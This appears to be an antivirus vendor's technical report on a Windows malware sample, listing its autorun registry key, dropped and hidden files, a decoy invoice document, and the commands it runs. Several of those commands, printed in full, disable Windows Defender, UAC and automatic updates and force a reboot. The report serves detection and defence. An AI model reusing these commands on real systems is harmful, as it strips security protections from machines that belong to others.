Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Video Configurations' = 'C:\Intel\go.exe'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Modifies file system
Creates the following files
- %TEMP%\$inst\2.tmp
- C:\intel\rezet.cmd
- %TEMP%\rvxvowq
- %TEMP%\aut28c4.tmp
- C:\intel\defendercontrol.exe
- C:\intel\go.exe
- C:\intel\driver.exe
- C:\intel\key.rar
- C:\intel\gfxui.exe.config
- C:\intel\igfxdevlib.dll
- C:\intel\iglhxa32.vp
- C:\intel\impcd.cat
- C:\intel\intcdaud.cat
- C:\intel\bmcon.json
- C:\intel\kopia faktury В№ 357548372798-2021.doc
- %TEMP%\$inst\temp_0.tmp
- %WINDIR%\temp\aut5f2f.tmp
- %WINDIR%\temp\lhauimd
Sets the 'hidden' attribute to the following files
- C:\intel\key.rar
- C:\intel\driver.exe
- C:\intel\defendercontrol.exe
Deletes the following files
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\aut28c4.tmp
- %TEMP%\rvxvowq
- %TEMP%\$inst\2.tmp
- %WINDIR%\temp\aut5f2f.tmp
- %WINDIR%\temp\lhauimd
Substitutes the following files
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Miscellaneous
Creates and executes the following
- 'C:\intel\defendercontrol.exe' /SYS 1
- 'C:\intel\defendercontrol.exe' /D
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\reset.cmd' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd wmic OS WHERE Primary="TRUE" CALL Win32Shutdown 6' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t REG_DWORD /d 4 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd start powershell Set-MpPreference -DisableRealtimeMonitoring $true' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c echo>C:\Intel\rezet.cmd ping -n 3600 127.0.0.1' (with hidden window)
- 'C:\intel\defendercontrol.exe' /D' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\rezet.cmd" "' (with hidden window)
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' /n "C:\Intel\Kopia faktury В№ 357548372798-2021.doc"
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\ping.exe' -n 3600 127.0.0.1
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Intel\rezet.cmd" "
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd del /q C:\Intel\reset.cmd
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd wmic OS WHERE Primary="TRUE" CALL Win32Shutdown 6
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t REG_DWORD /d 4 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c echo>>C:\Intel\rezet.cmd start powershell Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\cmd.exe' /c echo>C:\Intel\rezet.cmd ping -n 3600 127.0.0.1
- '%WINDIR%\syswow64\attrib.exe' +s +h C:\Intel
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '<SYSTEM32>\raserver.exe' /offerraupdate
